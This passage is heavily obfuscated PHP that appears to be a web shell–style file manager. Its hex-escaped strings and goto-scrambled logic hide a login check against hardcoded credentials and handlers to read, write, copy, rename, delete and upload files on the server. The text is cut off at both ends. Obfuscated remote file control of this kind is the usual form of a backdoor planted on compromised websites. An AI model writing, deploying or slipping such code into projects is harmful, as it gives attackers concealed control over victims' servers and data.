167\x69\144\x74\x68\72\61\x30\x70\x78\73\x68\145\x69\x67\150\x74\x3a\x30\73\142\157\x72\x64\145\x72\x2d\x74\157\x70\72\x31\160\170\x20\x73\x6f\x6c\151\x64\x3b\155\141\162\147\x69\156\x2d\x74\x6f\x70\72\x2d\x31\x70\170\73\x70\x6f\x73\151\164\151\157\156\x3a\x61\142\x73\x6f\154\x75\x74\145\x3b\164\x6f\x70\x3a\x31\145\x6d\73\x72\151\147\x68\164\x3a\60\175\xd\xa"; goto TTz2O; tGinT: echo $CIvJG[14]; goto EkUQJ; OQGTF: if (!($_POST["\165\163\145\x72\x6e\x61\155\x65"] == $ru43X && $_POST["\160\x61\163\x73\167\157\x72\144"] == $nKZYh)) { goto mMpF0; } goto lgOFf; yjkeS: unset($aStw9); goto L_NpW; ZNEBB: function T0A3i($LzLVF) { global $CIvJG; return "\74\144\x69\166\x20\x63\154\141\163\163\75\42\141\154\x65\x72\x74\40\141\x6c\x65\x72\x74\55\144\141\x6e\147\145\x72\42\x3e\74\x61\40\150\162\145\146\75\42\x23\42\x20\x63\x6c\x61\x73\x73\x3d\x22\x63\154\157\x73\x65\x22\x20\x64\x61\164\141\x2d\144\x69\x73\x6d\151\x73\163\75\x22\141\154\145\162\164\x22\40\141\x72\151\141\55\x6c\x61\x62\x65\x6c\x3d\x22\143\154\x6f\163\x65\42\76\46\x74\151\155\145\x73\73\74\x2f\x61\76\x3c\x73\x74\162\157\x6e\147\x3e" . $CIvJG[33] . "\x21\x3c\x2f\163\164\162\x6f\x6e\x67\x3e\x20" . $LzLVF . "\74\x2f\144\151\166\76"; } goto JE9w4; laLkL: $dm0oc[11] = "\144\x61\x74\x61\72\151\x6d\x61\x67\145\57\x70\156\147\x3b\x62\x61\163\x65\66\x34\54\x69\126\102\x4f\122\167\60\113\x47\147\157\x41\x41\x41\x41\x4e\123\x55\x68\105\125\147\101\x41\x41\x42\101\101\101\101\x41\x51\x43\x41\131\x41\x41\101\x41\x66\70\57\x39\150\x41\101\101\101\x39\125\x6c\105\x51\x56\x51\64\x6a\x63\x32\x51\x54\x55\x6f\x44\121\122\x43\106\163\60\152\105\x6e\x37\x57\165\106\x51\x38\x51\x46\x78\x36\x67\x4e\x77\131\x58\165\x6e\x50\x30\103\x71\66\105\147\x56\x6b\111\x32\130\x51\x67\172\111\122\165\x75\164\x34\162\x47\x38\110\141\x43\126\67\101\111\67\157\x78\x59\x52\167\x53\x4d\150\x41\x43\106\x6a\x52\116\120\71\67\67\x71\x72\x6f\x47\147\63\71\130\132\x6a\x62\x4b\x4f\122\x63\x41\x70\151\123\146\x69\x71\x49\x34\x36\102\62\165\x36\x2f\160\x55\x56\x64\x39\103\x43\106\x66\x4f\x75\x57\106\113\x61\x55\172\x79\120\x63\132\x34\61\147\x75\147\x71\x6e\x4d\x7a\117\x32\x35\x72\x56\126\x57\x64\153\x50\x77\x69\117\123\x4f\65\x45\x4a\x48\110\x6a\x51\x43\x53\x73\170\x35\116\156\154\116\x4b\64\x33\x58\x68\154\65\170\x7a\x73\121\61\x51\x6c\165\127\x52\161\154\157\111\x34\x58\111\154\151\x73\x69\105\65\106\63\x58\x4c\x43\x4b\x33\161\x76\x72\164\166\x54\71\163\66\70\x36\65\x49\125\154\x5a\103\121\x43\155\132\x6a\132\x61\x45\x33\65\126\x31\125\x38\x41\x48\61\x33\x49\156\x2b\53\x53\x76\102\x47\122\53\67\x59\x42\x77\x4d\x50\x76\67\x5a\x75\x6d\117\122\145\122\66\64\x30\x54\x4c\110\145\x67\x71\156\x4d\101\x76\x6e\126\143\x35\53\60\102\x65\112\x4b\x49\x4d\x56\x35\x73\x32\71\x64\x79\105\164\57\114\x75\105\x2b\x41\62\167\155\x77\x39\x2f\x6f\x42\x66\x67\141\102\107\x34\170\53\157\147\x34\x41\101\x41\101\101\123\125\126\x4f\122\x4b\x35\103\131\x49\111\75"; goto CpsnM; X0h2d: $dm0oc[14] = "\x64\x61\164\x61\x3a\x69\155\x61\x67\145\57\x70\x6e\147\x3b\142\x61\x73\145\x36\64\x2c\151\126\102\117\x52\167\60\x4b\107\x67\157\x41\x41\x41\x41\x4e\x53\125\x68\105\x55\x67\x41\101\101\102\x41\101\x41\x41\x41\x51\103\x41\x59\101\x41\x41\x41\146\70\x2f\71\150\101\x41\x41\x41\167\x6b\x6c\105\x51\126\x51\x34\152\x62\x32\x51\x50\121\162\x43\121\x42\x43\106\x46\x79\166\170\102\164\131\x4b\165\131\117\126\156\132\63\156\103\x46\67\102\x5a\160\163\125\107\71\x69\x64\71\x36\142\114\x44\124\171\x44\x6c\141\127\156\x45\107\172\x74\x30\x78\x6c\151\112\131\123\167\x4a\117\166\166\147\x39\143\115\172\120\146\145\152\104\107\x2f\125\154\x45\x55\x63\x35\x4b\65\x69\117\x77\x42\x62\x49\167\170\153\53\122\x6c\101\x46\x73\101\x74\x61\161\62\x54\167\x4d\x34\x56\x6c\x55\61\123\60\157\107\x55\112\x4d\x38\x4f\53\x63\x79\141\53\x30\125\167\x49\65\153\121\71\x4b\120\101\153\152\155\x71\164\x6f\66\x35\x37\x4a\x65\161\167\120\112\x32\171\150\101\x52\x4b\171\x71\x74\161\x6e\172\x37\167\111\x41\x42\112\x4a\x4e\x39\63\x6c\x39\x6b\67\x79\107\105\112\132\122\x51\107\171\x5a\65\105\x6c\x45\x62\116\146\x65\53\x31\x55\x55\115\x4a\x54\x63\164\x59\x6a\x59\132\105\103\x73\x67\x59\x69\x73\x2f\x77\144\64\x36\x59\123\120\156\170\150\x43\113\x41\110\x63\x68\71\x49\102\x58\115\161\171\x58\105\x51\102\67\53\x67\102\x74\111\105\x6d\x56\127\x70\x33\x72\x61\x41\101\x41\x41\101\x41\x53\x55\x56\x4f\x52\x4b\x35\103\x59\111\111\75"; goto cGKgU; gZZ59: echo $CIvJG[15]; goto LOlNs; shcpG: echo $dm0oc[5]; goto b8ua2; menfR: $aStw9 = isset($_GET["\160\145\162\160\x61\147\145"]) ? (int) $_GET["\160\145\162\x70\141\x67\145"] : 10; goto su3Vd; YHlPr: unset($_SESSION); goto kGut1; bfA8N: $MhinT = isset($_GET["\141\x6c\x65\162\164"]) ? $_GET["\x61\154\145\x72\x74"] : ''; goto sSl0R; LxYSV: unset($_COOKIE); goto HlASH; VwiqS: Ef9Ko: goto b5wql; gOM6S: echo $dm0oc[1]; goto wLGSn; lAOsT: echo "\51\x20\x6e\157\55\162\x65\160\x65\x61\164\x20\154\x65\146\164\x20\x63\x65\156\x74\145\162\73\x20\x70\141\x64\144\151\156\147\x3a\40\65\x70\x78\40\x30\40\65\160\170\40\x32\x35\160\170\73\155\x61\162\147\151\156\x2d\x6c\145\x66\x74\72\x20\65\160\170\73\175\xd\xa\x2e\x50\x68\x70\x49\x63\157\x6e\173\x62\141\x63\153\x67\162\x6f\165\x6e\144\x3a\x75\162\154\50\40"; goto shcpG; d_PN9: CQGFq: goto jOKJ4; HZ44K: echo $dm0oc[11]; goto OeJVR; afZyu: W8PCr: goto XsKa_; fJMYP: if (in_array(LU4vD($_GET["\162\145\x61\x64"]), $MTWgC[1]) || count($MTWgC[1]) == 0) { goto ebAsx; } goto Ngr1f; QcYaX: echo $CIvJG[26]; goto zTCQQ; XBg4m: $ytDfk = ($xUEaS - 1) * $aStw9; goto W72cC; uTaCO: echo "\xe2\x86\222"; goto rQuM1; WH9Mk: if (in_array(Lu4Vd($_POST["\167\162\x69\164\145"]), $MTWgC[1]) || count($MTWgC[1]) == 0) { goto Fam6z; } goto uVxD2; xahD6: $Pnn97 = array_map("\x73\164\x72\164\157\x6c\x6f\167\x65\162", $Pnn97); goto CMpjN; ocguD: $k8LVN .= "\x3c\x74\162\76"; goto deU6_; Dq8k_: vRK2F: goto e0ikD; iA8aM: echo "\x22\40\x69\x64\75\42\x64\x69\x72\111\156\160\x75\164\123\145\141\x72\x63\x68\x22\x3e\xd\xa\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\x20\x3c\x64\151\x76\40\143\154\x61\163\163\x3d\42\x69\x6e\x70\165\x74\x2d\x67\162\x6f\x75\x70\x2d\x62\164\156\x22\76\xd\12\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\40\40\x3c\142\x75\164\x74\x6f\x6e\x20\143\154\141\163\x73\x3d\42\x62\x74\x6e\40\142\x74\156\55\x64\x65\146\141\165\x6c\x74\x22\40\x6f\x6e\x63\x6c\x69\x63\x6b\x3d\x22\x53\145\x61\162\x63\150\50\51\x22\40\x74\171\160\145\x3d\42\x73\x75\142\155\151\x74\x22\76\x3c\x73\160\141\x6e\x20\143\154\141\x73\x73\75\42\105\x78\x70\x6c\x6f\x72\x49\143\157\156\x22\x20\163\164\x79\x6c\x65\x3d\x22\160\x61\144\x64\x69\x6e\147\72\x20\65\x70\x78\x20\60\160\170\40\x35\160\170\x20\61\x38\160\x78\73\x22\76\74\x2f\x73\160\141\x6e\x3e\74\57\142\165\x74\164\157\156\x3e\xd\12\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\x20\74\57\144\x69\166\x3e\15\xa\x20\40\x20\x20\x20\40\x20\x20\74\x2f\144\x69\166\x3e\xd\12\x20\40\40\x20\40\40\x20\x20\74\57\x64\x69\x76\76\x9\x9\15\12\x9\74\57\144\x69\x76\x3e\x9\xd\xa\x20\40\40\40\x3c\x2f\144\x69\x76\76\11\15\12\x3c\57\144\151\166\x3e\xd\xa\xd\xa\xd\12\x9\11\xd\xa\xd\12\x3c\41\55\x2d\x20\x4d\157\x64\x61\154\40\122\x65\156\x61\155\x65\x20\55\55\76\xd\xa\x3c\x64\151\166\40\x69\x64\x3d\42\x52\x65\156\x61\x6d\145\x22\x20\143\154\141\x73\163\x3d\42\155\157\144\141\154\x20\146\x61\144\x65\x22\x20\162\157\x6c\145\75\x22\144\x69\x61\154\x6f\x67\x22\x3e\15\12\40\x20\x3c\x64\151\x76\x20\x63\154\141\163\x73\75\x22\x6d\157\x64\141\x6c\x2d\144\151\x61\x6c\157\147\42\x3e\15\12\15\12\x20\40\x20\40\x3c\41\55\x2d\40\x4d\x6f\144\141\154\x20\x63\x6f\156\x74\145\156\164\55\x2d\x3e\15\xa\x20\40\40\40\x3c\x64\151\x76\x20\x63\154\x61\163\x73\75\42\x6d\x6f\144\141\x6c\x2d\x63\157\x6e\164\145\156\x74\x22\76\15\xa\x20\40\40\40\40\x20\74\144\151\166\40\143\x6c\141\x73\163\75\42\155\157\144\141\154\55\150\x65\141\x64\x65\162\x22\76\15\xa\x20\40\40\x20\x20\x20\x20\40\74\x62\x75\164\164\157\156\x20\164\x79\160\x65\x3d\x22\x62\x75\x74\164\x6f\156\42\40\143\154\x61\x73\x73\75\42\143\154\x6f\x73\x65\42\x20\x64\141\x74\x61\55\x64\151\163\155\x69\163\x73\75\42\x6d\157\144\141\x6c\x22\x3e\46\164\x69\x6d\x65\163\x3b\x3c\57\142\x75\x74\164\x6f\156\x3e\15\xa\x20\40\x20\x20\40\40\x20\40\x3c\x68\64\x20\x63\154\x61\163\163\x3d\42\155\157\144\x61\154\x2d\164\151\x74\154\x65\42\x3e"; goto d7GXo; nsWVR: echo "\x20\x3a\x20\x3c\143\x6f\x64\x65\40\151\144\75\42\122\145\155\157\166\x65\x66\151\154\x65\x4e\141\155\145\x22\x3e\x3c\57\143\157\x64\x65\76\74\x2f\150\64\x3e\xd\xa\40\40\x20\x20\40\40\x3c\x2f\x64\151\166\x3e\xd\xa\40\40\x20\x20\x20\x20\74\x64\151\x76\40\x63\154\141\x73\163\x3d\x22\155\157\144\141\154\55\x62\157\144\171\42\x3e\xd\12\x9\x20\x20\x20\40\x3c\x69\156\x70\165\x74\x20\151\x64\75\x22\122\145\155\x6f\x76\145\x64\151\x72\x22\40\164\171\x70\x65\75\x22\150\x69\x64\144\145\156\x22\x20\x3e\11\xd\xa\x9\11\x3c\x69\156\160\x75\x74\x20\x69\144\75\x22\122\145\155\x6f\x76\x65\111\156\160\165\x74\42\x20\164\171\160\145\x3d\42\x68\x69\144\x64\145\x6e\x22\40\x3e\11\15\xa\11\x9"; goto i2Od2; Jn45L: unset($MTWgC); goto vkOmp; Yu8yg: echo "\x29\x20\156\157\55\162\x65\160\x65\x61\x74\x20\x6c\145\146\x74\40\x63\x65\156\x74\x65\162\x3b\40\160\x61\144\x64\151\x6e\147\x3a\x20\x35\x70\170\40\x30\x20\65\x70\170\x20\x32\65\160\x78\73\155\x61\x72\147\151\x6e\55\x6c\x65\146\x74\x3a\40\65\160\x78\x3b\175\15\12\x2e\124\162\145\x65\x49\143\157\x6e\173\142\x61\x63\153\x67\x72\x6f\x75\156\x64\x3a\x75\x72\x6c\50\x20"; goto TgQB1; cbg8P: unset($FNpgA); goto s74Vm; d20sn: echo "\11\11\x3c\x2f\163\x74\x79\x6c\145\x3e\xd\12\40\40\x20\x20\74\57\150\x65\141\144\x3e\xd\xa\x20\40\x20\x20\74\x62\157\144\x79\x3e\15\12\15\12\xd\xa\x3c\x64\151\x76\x20\x63\154\x61\163\163\x3d\42\x63\157\x6e\164\x61\x69\x6e\145\x72\x22\76\xd\12\15\12\15\xa\xd\xa\74\x64\151\166\40\143\154\x61\x73\x73\75\42\156\141\x76\142\x61\162\40\156\141\x76\142\x61\x72\x2d\x64\145\x66\141\x75\154\164\x22\76\15\12\40\x20\x3c\144\x69\166\x20\143\154\141\x73\x73\75\x22\x63\x6f\x6e\x74\x61\x69\x6e\145\162\x2d\146\154\165\x69\x64\x22\x3e\15\xa\x20\x20\x20\x20\74\144\151\166\x20\143\154\x61\x73\163\75\x22\x6e\141\x76\142\141\x72\55\x68\145\141\x64\x65\x72\x22\76\15\12\x9\x9\74\x62\165\164\x74\157\156\x20\164\171\x70\145\x3d\42\x62\x75\164\164\x6f\x6e\x22\x20\143\154\x61\x73\x73\x3d\42\156\141\166\x62\141\162\x2d\164\x6f\147\147\x6c\x65\42\x20\x64\141\164\141\x2d\x74\157\x67\x67\154\145\x3d\x22\143\x6f\154\154\x61\x70\163\145\42\x20\x64\x61\x74\x61\55\x74\141\162\147\x65\x74\x3d\x22\x2e\156\141\x76\x62\x61\x72\55\145\170\x31\55\x63\157\x6c\154\141\160\163\145\42\x3e\xd\12\x9\x9\74\163\x70\x61\156\x20\x63\x6c\141\163\163\75\x22\x73\162\x2d\x6f\156\x6c\171\x22\x3e\124\x6f\147\x67\x6c\145\x20\x6e\141\166\151\147\x61\164\151\x6f\156\x3c\x2f\x73\x70\141\156\x3e\15\12\11\11\74\163\160\141\x6e\x20\143\154\141\x73\163\75\42\x69\143\157\156\55\x62\141\x72\x22\x3e\74\57\163\x70\x61\156\76\15\xa\x9\x9\74\x73\x70\141\156\x20\x63\154\x61\163\163\x3d\42\x69\x63\x6f\156\x2d\142\141\x72\x22\76\x3c\x2f\163\160\x61\156\76\15\xa\x9\11\x3c\163\x70\141\156\x20\x63\154\x61\163\163\75\x22\151\x63\157\x6e\55\x62\141\x72\x22\76\x3c\57\163\x70\141\x6e\76\xd\xa\x9\x9\74\57\142\165\164\x74\157\156\x3e\xd\xa\40\40\x20\x20\40\40\74\141\40\143\154\141\x73\163\x3d\42\156\141\166\x62\x61\162\x2d\142\x72\x61\156\x64\x22\40\x68\162\x65\146\x3d\x22\x22\x3e\40\x20\74\163\160\141\156\40\x63\x6c\x61\163\163\75\x22\105\170\x70\154\157\162\111\143\x6f\156\x22\40\x3e\74\57\x73\x70\141\156\x3e\x20\40"; goto idW3n; rQuM1: aV9K1: goto eIx3B; tmaYB: $k8LVN = "\74\144\151\x76\x20\143\x6c\141\163\163\75\42\164\141\142\x6c\x65\55\162\145\x73\x70\157\156\x73\151\166\x65\42\x3e\x3c\164\141\142\x6c\x65\x20\143\x6c\x61\163\163\x3d\x22\164\141\x62\154\x65\40\164\x61\x62\x6c\145\x2d\x68\x6f\166\145\162\40" . $fxkQy . "\42\76\74\x74\x68\145\x61\144\76\x3c\164\x72\x3e"; goto pyOqa; oFNJZ: echo $CIvJG[17]; goto h14ob; SVBRF: echo "\42\40\156\x61\155\x65\x3d\42\x71\x22\76\15\12\x9\11\11\74\151\x6e\x70\165\x74\40\x74\x79\x70\145\x3d\42\150\x69\144\144\145\x6e\x22\x20\x76\141\x6c\x75\145\x3d\x22"; goto bfN8k; buXcL: unset($qJrrE); goto fZhbm; MF2rO: echo TgCmH(); goto AZ3aa; zeCq0: C23KI($_GET["\143\x6f\160\x79"]); goto k0zhr; SsvzH: $ru43X = ''; goto kCICt; kWwea: echo $dm0oc[6]; goto pbT6p; bQW4T: $MTWgC[2] = array_map("\x73\164\162\x74\x6f\154\x6f\x77\x65\162", $MTWgC[2]); goto WX_Q_; Qth1C: echo "\74\x2f\x63\x65\156\x74\x65\x72\x3e\74\x2f\144\151\166\76\x27\73\15\xa\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\x20\44\x28\x66\x75\156\x63\164\151\x6f\156\x28\x29\173\x24\50\47\142\x6f\x64\x79\47\x29\x2e\164\x6f\157\154\x74\x69\160\50\173\40\x73\145\x6c\145\x63\164\157\162\x3a\40\47\133\x64\141\164\141\x2d\x74\157\147\x67\154\145\75\42\164\157\157\x6c\164\151\160\42\x5d\47\x20\175\x29\x3b\x7d\x29\x3b\xd\12\x9\x9\11\xd\12\x9\x9\11\11\11\44\x28\144\x6f\143\x75\155\145\x6e\x74\x29\x2e\157\156\x28\x27\143\150\x61\x6e\x67\145\x27\54\40\47\56\142\x74\x6e\55\146\x69\x6c\x65\40\72\x66\x69\x6c\x65\x27\x2c\40\146\165\x6e\x63\x74\x69\x6f\156\50\x29\40\x7b\15\12\11\x9\11\11\11\11\x76\x61\162\x20\x69\x6e\x70\165\164\x20\x3d\x20\x24\x28\x74\x68\151\x73\51\54\xd\xa\11\x9\x9\x9\x9\11\156\165\155\106\x69\154\x65\x73\x20\75\40\151\x6e\x70\x75\x74\56\147\145\164\50\x30\51\x2e\x66\x69\x6c\x65\x73\x20\x3f\x20\151\x6e\x70\165\164\56\147\145\x74\50\60\x29\56\146\151\154\145\163\56\154\145\x6e\x67\x74\150\40\72\x20\x31\54\15\xa\11\x9\x9\11\11\x9\x6c\141\x62\145\154\40\x3d\x20\x69\156\160\x75\164\56\x76\141\x6c\x28\x29\x2e\162\x65\160\x6c\141\143\x65\x28\57\x5c\x5c\57\x67\x2c\40\47\57\47\x29\x2e\x72\x65\160\x6c\141\143\x65\50\57\56\52\x5c\x2f\57\x2c\x20\47\x27\x29\73\xd\xa\11\11\11\x9\11\11\x69\x6e\x70\165\x74\x2e\x74\x72\151\147\147\x65\x72\50\x27\x66\151\154\x65\x73\145\x6c\145\x63\x74\x27\54\x20\x5b\x6e\165\155\x46\x69\154\x65\163\x2c\x20\154\x61\x62\145\154\135\x29\x3b\xd\xa\x9\x9\x9\x9\x9\x9\x76\141\x72\40\x54\163\151\x7a\x65\75\60\73\15\xa\11\x9\x9\11\11\11\166\141\x72\x20\x54\154\141\142\x65\x6c\x3d\x27\47\73\15\12\11\x9\11\11\11\x9\146\x6f\x72\x20\x28\x69\40\x3d\40\60\x3b\40\x69\x20\x3c\40\x6e\165\155\x46\x69\154\x65\163\x3b\40\151\x2b\53\x29\40\173\xd\xa\x20\x20\40\40\40\x20\x20\40\40\40\x20\40\40\40\40\40\x20\x20\x20\40\x20\40\40\x20\40\40\40\x20\40\124\x73\151\x7a\x65\x20\40\75\40\x54\163\x69\x7a\145\x2b\x20\x74\x68\151\163\x2e\x66\151\154\145\163\133\x69\x5d\56\163\x69\x7a\x65\73\xd\12\x9\11\x9\x9\x9\11\x9\x20\x54\154\x61\x62\145\154\x20\75\40\x54\x6c\141\x62\x65\x6c\x2b\x27\x2c\47\x2b\164\150\151\x73\56\x66\151\154\x65\163\133\x69\x5d\56\156\x61\x6d\x65\73\xd\12\11\11\11\x9\x9\11\x9\40\x7d\xd\xa\x9\11\x9\11\11\x9\11\57\57\x20\141\154\145\x72\x74\x28\124\154\141\x62\145\154\x29\x3b\15\xa\15\12\x9\11\11\11\11\x9\x24\x28\42\43\125\x70\x6c\x6f\141\144\106\x69\154\145\x53\x69\x7a\x65\x22\x29\56\150\x74\x6d\x6c\x28\x66\157\162\155\141\x74\x46\x69\x6c\x65\x53\151\x7a\145\x28\x54\x73\151\172\x65\51\51\x3b\11\x20\15\xa\x9\x9\x9\x9\x9\x9\15\12\x9\11\x9\11\11\11\x69\x66\x28\x6e\x75\x6d\x46\151\x6c\x65\163\75\x3d\x30\x29\x9\x9\15\12\x9\x9\x9\x9\11\11\x9\44\x28\42\43\x46\151\154\x65\125\x70\154\x6f\141\x64\102\164\156\x22\x29\56\141\164\x74\162\50\x22\144\151\163\141\142\x6c\145\144\x22\54\x20\x22\x64\151\163\141\142\154\x65\144\42\x29\x3b\15\12\11\x9\11\11\x9\x9\145\154\x73\x65\xd\xa\x9\11\11\x9\11\11\11\x24\50\x22\43\106\151\x6c\x65\x55\160\x6c\157\141\144\x42\164\156\x22\x29\56\162\145\x6d\x6f\x76\145\101\x74\x74\x72\x28\42\x64\x69\x73\x61\142\x6c\145\144\42\51\73\15\12\x9\11\11\11\11\x9\15\xa\11\11\x9\x9\11\11\xd\12\x9\x9\11\x9\x9\x9\xd\xa\x9\11\x9\11\11\11\151\146\x28\156\x75\x6d\106\151\154\x65\x73\76\61\x29\x9\11\x9\x9\15\xa\x9\x9\11\11\x9\x9\40\x20\x24\50\47\x23\x69\x6e\x70\165\x74\x46\151\154\145\125\160\x6c\157\141\x64\x27\x29\56\x76\141\x6c\50\x27"; goto U_Wv2; ecpmw: unset($_FILES); goto uXnV0; Cs9F4: foreach ($Neukl as $z0I6p => $KhbAx) { goto WdUuA; kFyt3: WIXCp: goto Pmxs3; gBbpn: $k8LVN .= "\x3c\164\144\40\x63\x6c\x61\163\163\x3d\x22\143\157\154\55\155\144\55\x33\42\x3e" . wbEVr($KhbAx) . "\74\x2f\164\144\76\74\164\144\x20\x63\154\141\x73\163\x3d\42\x68\x69\x64\x64\145\156\55\170\x73\x20\x63\157\154\x2d\x6d\x64\55\62\42\x3e" . heBmw($KhbAx) . "\x3c\57\164\144\x3e\74\164\144\40\143\x6c\x61\x73\163\75\x22\x68\151\x64\144\x65\x6e\x2d\x78\163\x20\x63\157\154\x2d\x6d\x64\x2d\x32\x22\x3e" . lu4Vd($KhbAx) . "\74\x2f\x74\144\76\74\x74\x64\x20\143\x6c\x61\163\x73\x3d\x22\150\151\x64\x64\x65\x6e\x2d\x78\163\40\x63\157\x6c\x2d\x6d\144\x2d\62\42\x3e" . hKJJq($z0I6p, $KhbAx) . "\x3c\57\x74\x64\76"; goto kFyt3; xMC1o: goto WIXCp; goto c2ciV; YjBIS: $k8LVN .= "\x3c\164\144\40\x63\154\x61\x73\x73\75\42\143\157\x6c\x2d\170\163\x2d\x31\x32\40\143\x6f\154\55\163\155\x2d\65\x22\76" . WbEVr($KhbAx) . "\74\57\164\x64\x3e\74\164\144\40\x63\154\x61\163\163\x3d\42\150\x69\144\144\145\x6e\55\x78\163\x20\143\157\x6c\55\170\x73\55\62\x20\x63\x6f\154\x2d\163\155\x2d\62\40\143\157\x6c\x2d\x6d\144\x2d\x32\42\76" . heBmw($KhbAx) . "\x3c\57\x74\144\x3e\x3c\164\144\40\143\x6c\141\x73\163\75\42\x68\x69\144\x64\x65\x6e\55\170\163\x20\143\x6f\154\55\x78\x73\x2d\62\x20\x63\157\x6c\55\x73\x6d\x2d\62\x20\x63\x6f\x6c\55\x6d\144\55\62\x22\x3e\x3c\x73\160\141\x6e\40\143\154\141\x73\163\75\42\x6c\141\142\x65\x6c\x20\154\x61\142\x65\154\55\144\x65\146\x61\x75\x6c\164\42\76" . lU4Vd($KhbAx) . "\x3c\x2f\x73\x70\x61\x6e\x3e\74\57\164\x64\76"; goto xMC1o; c2ciV: mM7oT: goto gBbpn; qXyIg: if ($fxkQy == '') { goto mM7oT; } goto YjBIS; Pmxs3: $k8LVN .= "\74\164\x64\40\143\154\x61\x73\163\x3d\x22\150\x69\144\x64\x65\156\55\x78\163\40\143\x6f\154\55\170\163\55\63\40\x63\x6f\x6c\x2d\163\x6d\55\x33\40\143\157\x6c\x2d\x6d\144\x2d\x33\x22\x3e" . CWB0u($KhbAx) . "\x3c\x2f\x74\144\x3e\74\57\164\x72\76"; goto VRSkZ; VRSkZ: steFr: goto qAfuT; WdUuA: $k8LVN .= "\x3c\164\x72\76"; goto qXyIg; qAfuT: } goto CSBeO; UuLAS: $dm0oc[3] = "\x64\141\x74\141\x3a\151\155\141\147\145\57\160\x6e\147\x3b\142\x61\163\145\x36\x34\x2c\151\126\102\x4f\122\167\x30\x4b\x47\147\157\101\101\101\x41\x4e\x53\x55\150\x45\125\147\101\101\x41\102\x41\101\101\x41\x41\121\x43\x41\x59\x41\x41\101\101\x66\70\57\x39\150\101\x41\x41\x41\144\x55\154\x45\121\x56\x51\x34\x6a\x65\62\123\x72\121\62\101\x51\x42\x53\x44\62\x51\x42\103\x63\x4f\x77\x45\162\101\117\161\x34\166\x53\x31\104\71\x52\x4a\160\x6d\101\x39\x46\x49\114\x6b\117\x48\66\x43\121\116\103\153\160\153\155\x2f\x56\x44\124\114\x50\151\110\x76\x66\x55\x73\123\x45\x58\x65\x58\101\x47\x59\x32\x78\x6e\112\x4a\x4d\x34\x44\151\106\x45\x41\123\x73\x64\x77\x35\126\65\166\132\105\154\x73\156\x61\x51\x42\x51\112\121\105\160\x68\x52\x42\171\x53\143\x4e\x6a\x77\113\x37\x33\x41\61\x34\x41\123\x4a\x72\165\x6c\147\x45\125\x4a\x50\x73\116\x30\102\x78\143\x4f\145\125\x65\x51\120\154\153\x2b\142\164\141\101\125\x5a\111\142\x2f\120\156\127\152\x4e\x37\101\x41\101\101\x41\105\154\x46\124\153\x53\165\121\155\103\x43"; goto XZMOY; XwxaU: echo $CIvJG[35]; goto Qth1C; R2Q76: echo "\40\74\x2f\x68\64\x3e\xd\xa\x20\x20\40\x20\40\40\x3c\x2f\144\151\166\76\15\12\40\40\40\x20\x20\x20\74\x64\151\166\40\143\154\x61\x73\x73\x3d\42\155\157\x64\x61\154\55\142\x6f\144\x79\x22\76\xd\xa\x9\40\x20\x20\40\x3c\151\156\x70\x75\164\40\151\x64\75\42\x4e\x65\x77\106\x6f\154\144\145\162\x44\x69\162\x22\x20\x74\x79\x70\x65\x3d\x22\x68\x69\144\144\145\156\x22\40\76\11\xd\xa\x9\11\74\x69\156\x70\165\164\40\164\x79\x70\x65\75\42\164\145\x78\x74\42\x20\x63\154\x61\163\163\75\42\146\x6f\x72\155\x2d\x63\157\x6e\164\162\157\154\x22\x20\x69\x64\75\42\116\145\167\106\157\154\144\145\x72\x49\156\x70\x75\164\x22\x3e\15\xa\x20\x20\40\x20\x20\x20\x3c\x2f\x64\x69\166\76\15\12\40\40\x20\40\40\x3c\144\x69\x76\40\x63\154\141\163\x73\75\x22\155\157\144\141\154\55\146\157\157\x74\145\162\42\76\xd\12\11\x20\xd\xa\11\40\40\40\40\x3c\163\x70\x61\x6e\40\151\144\x3d\x22\116\x65\167\x46\x6f\x6c\x64\145\162\114\x61\142\145\x6c\x73\x75\143\143\145\163\163\x22\40\143\x6c\x61\x73\x73\75\x22\x6c\141\x62\x65\x6c\x20\154\x61\x62\x65\154\x2d\x73\x75\143\x63\145\163\x73\40\x70\x75\x6c\154\x2d"; goto NMzEa; A0rSA: $CIvJG[25] = "\x50\x61\163\163\167\x6f\x72\x64"; goto GK6dm; AHQL3: $lhFTz = ceil($imz7x / $aStw9); goto A_4ZW; sSl0R: @session_start(); goto jgJG5; Yr6l9: echo "\x3c\57\142\165\164\164\157\x6e\x3e\15\xa\11\11\40\xd\12\x9\x20\74\57\x64\x69\166\76\15\xa\x20\x20\x20\40\x3c\57\144\x69\x76\x3e\15\xa\15\12\x20\x20\74\x2f\144\151\166\x3e\15\xa\x3c\x2f\144\151\x76\76\x9\15\xa\xd\12\15\12\xd\12\x3c\41\x2d\x2d\40\x4d\x6f\144\141\x6c\x20\122\145\155\157\x76\x65\x20\x2d\55\x3e\xd\xa\74\144\151\166\40\151\144\x3d\42\x52\x65\155\157\166\x65\x22\40\143\154\x61\x73\x73\x3d\42\155\157\144\x61\154\40\x66\x61\144\145\x22\40\162\x6f\x6c\x65\75\42\144\x69\141\x6c\157\147\42\x3e\xd\xa\x20\x20\74\144\x69\x76\40\x63\154\x61\163\x73\x3d\x22\x6d\157\x64\x61\x6c\x2d\x64\151\141\x6c\157\x67\42\x3e\xd\xa\15\xa\x20\x20\40\40\74\x21\55\55\x20\x4d\157\x64\x61\x6c\x20\143\157\x6e\164\145\x6e\164\55\x2d\x3e\xd\12\40\x20\x20\40\x3c\144\x69\166\40\x63\x6c\x61\163\163\75\42\155\157\144\141\154\55\x63\157\156\x74\x65\x6e\164\42\76\xd\xa\40\x20\x20\40\x20\x20\x3c\144\x69\166\40\143\154\141\x73\x73\x3d\42\155\157\144\x61\x6c\x2d\150\145\141\144\145\x72\42\76\15\xa\40\x20\40\x20\40\x20\x20\40\x3c\142\165\x74\164\x6f\x6e\x20\164\x79\x70\x65\75\x22\x62\x75\164\164\157\156\x22\40\143\154\x61\163\163\75\42\143\x6c\x6f\163\x65\42\40\144\141\x74\x61\x2d\x64\x69\163\x6d\151\x73\163\x3d\x22\x6d\157\x64\x61\x6c\42\76\46\164\x69\x6d\x65\163\73\74\57\x62\165\164\164\x6f\x6e\x3e\15\12\x20\x20\x20\40\40\40\40\40\74\x68\x34\x20\x63\x6c\141\x73\163\75\x22\x6d\157\x64\x61\154\x2d\x74\x69\x74\154\x65\42\76"; goto Y6Ho6; s4Hko: echo 